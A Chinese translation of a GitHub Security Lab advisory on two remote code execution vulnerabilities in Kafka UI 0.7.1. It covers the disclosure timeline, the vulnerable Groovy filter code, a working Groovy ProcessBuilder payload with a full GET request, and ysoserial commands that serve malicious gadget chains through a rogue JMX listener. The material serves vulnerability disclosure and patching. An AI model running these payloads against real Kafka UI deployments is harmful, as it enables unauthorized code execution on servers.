漏洞披露时间线
- 2023-11-29: 报告发送给 maintainers.kafka-ui@provectus.com
- 2024-01-02:发送后续邮件
- 2024-01-23: 未收到回复,https://github.com/provectus/kafka-ui/ 存储库中已创建私有安全问题
- 2024-02-19: 未收到回复,发送了一封额外后续电子邮件,其中包含有关接近 90 天披露截止日期的通知
- 2024-02-29: 发送给 info@provectus.com 另一封电子邮件,仍未收到任何回复
- 2024-02-29:维护者回应,他们会尽快修复漏洞
- 2024-04-02:后续邮件已发送
- 2024-04-08:维护者回应,他们将于 4 月中旬发布修复程序
- 2024-04-10:此修复随 Kafka UI 0.7.2 版本一起发布
漏洞概述
Kafka UI 受到两个远程代码执行漏洞的影响,消息过滤组件中的第一个漏洞可导致执行任意未沙盒的 groovy 脚本。
第二个漏洞可以通过滥用 Kafka UI 连接到恶意 JMX 服务器来利用,从而通过不安全的反序列化导致 RCE,这尤其危险,因为 Kafka UI 默认情况下未启用身份验证。
如果为 Kafka UI 实例启用了身份验证,则攻击者需要拥有有效的帐户。
测试版本
v0.7.1:https://github.com/provectus/kafka-ui/releases/tag/v0.7.1
漏洞详情
漏洞1:在消息过滤中通过 Groovy 脚本执行的 RCE ( GHSL-2023-229/CVE-2023-52251 )
Kafka UI 允许根据用户提供的过滤器显示通过 Kafka 集群的消息,服务器上支持的筛选器类型之一是 GROOVY_SCRIPT 。通过使用此筛选器,潜在的恶意人员不仅可以查看消息的内容和属性,还可以在服务器上执行任意代码,此过滤器绝不会进行沙盒化。
易受攻击的方法代码:
static Predicate<TopicMessageDTO> groovyScriptFilter(String script) {
var engine = getGroovyEngine();
var compiledScript = compileScript(engine, script);
var jsonSlurper = new JsonSlurper();
return new Predicate<TopicMessageDTO>() {
@SneakyThrows
@Override
public boolean test(TopicMessageDTO msg) {
var bindings = engine.createBindings();
bindings.put("partition", msg.getPartition());
...
var result = compiledScript.eval(bindings);
复现步骤
- 使用默认设置运行 Kafka UI,并将其连接到任何 Kafka 集群
2.在 Kafka UI 中,导航到 cluster->Topics->Messages,并使用以下内容创建新筛选器:
new ProcessBuilder("touch","/tmp/pwnd.txt").start()
通过向应用程序发送以下 GET 请求,可以执行相同的操作:
GET /api/clusters/local/topics/topic/messages?q=new+ProcessBuilder%28%22touch%22%2C%22%2Ftmp%2Fpwnd.txt%22%29.start%28%29&filterQueryType=GROOVY_SCRIPT&attempt=7&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING HTTP/1.1
Host: 127.0.0.1:8091
-
如果当前主题有任何消息,将立即在服务器上执行脚本。或者可以使用 Kafka UI 界面向代理发送新消息以触发脚本执行
-
执行后,将在服务器上创建一个 /tmp/pwnd.txt 文件
漏洞2:JMX 指标集合中通过 JNDI 解析的 RCE ( GHSL-2023-230/CVE-2024-32030 )
Kafka UI API 允许用户通过指定网络地址和端口来连接到不同的 Kafka 代理。
作为一项单独的功能,它还提供了通过连接到 Kafka 代理的 JMX 端口来监视其性能的功能。
JMX 基于 RMI 协议,因此它本身容易受到反序列化攻击,潜在的攻击者可以通过将 Kafka UI 后端连接到恶意代理来利用此功能。
攻击者可以创建一个 RMI 监听器,该监听器为任何 RMI 调用返回恶意序列化对象,而不是设置合法的 JMX 端口。
在最坏的情况下,它可能会导致远程代码(RCE)执行,因为 Kafka UI 的类路径中具有所需的攻击链。
先决条件:此漏洞会影响以下情况之一的部署:
-
dynamic.config.enabled 属性在“设置”中设置。默认情况下不启用它,但建议在 Kafka UI 的许多教程中启用它,包括它自己的 README.md
-
或者攻击者有权访问连接到 Kafka UI 的 Kafka 集群,在这种情况下,攻击者可以利用此漏洞扩展其访问权限并在 Kafka UI 上执行代码
复现步骤
-
使用默认设置运行 Kafka UI,并设置
dynamic.config.enabled=true
-
使用明文监听器启动任意 Kafka 代理,无需身份验证(本地或在 docker 中),暂时不要将其连接到 Kafka UI
-
设置一个恶意的 JMX 监听器,使用 ysoserial 工具生成一个带有Payload的序列化对象,用于远程代码执行。对于这个演示,在github存储库中准备了一个特殊的 ysoserial 分支: https://github.com/artsploit/ysoserial/tree/scala1
你可以使用以下命令克隆并运行它:
git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
该工具将在端口 1718 上监听传入的连接。
- 在 Kafka UI 中,导航到 Dashboard->Configure New Cluster,然后将 Kafka 代理的地址与 ysoserial 的 JMX 端口 1718 放在一起。确保在 localhost 或同一主机上运行 kafka broker 和 ysoserial
- 添加此集群后,可以在 ysoserial 工具中看到传入连接,它将使用恶意Payload响应 Kafka UI
该payload将在 Kafka UI 端反序列化,它不会直接触发 RCE,但会导致将系统属性 org.apache.commons.collections.enableUnsafeSerialization
设置为 true 。你可能会注意到 Kafka UI 日志中的一些错误,这是意料之中的:
- 接下来,要实现 RCE,需要使用以下命令重新运行 ysoserial:
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"
稍等片刻,Kafka UI 将重新连接到此 JMX 端口以再次获取指标,这会触发另一个对象的反序列化。
只要 org.apache.commons.collections.enableUnsafeSerialization
之前被另一个Payload启用,它将导致在 Kafka UI java 进程中执行 touch /tmp/pwnd2.txt 命令。
同样,Kafka UI 日志输出将充满错误提示,因为在反序列化发生并执行命令后,将引发异常:
如果好奇反序列化如何触发 System.setProperty
和命令执行,可随时查看相应gadget链的源代码: Scala1.java 和 CommonsCollections7.java
此外,你也可以在 StreamRemoteCall.java#L271 处设置断点,以查看对象是如何反序列化的。
以上内容由骨哥翻译并整理。
原文:https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/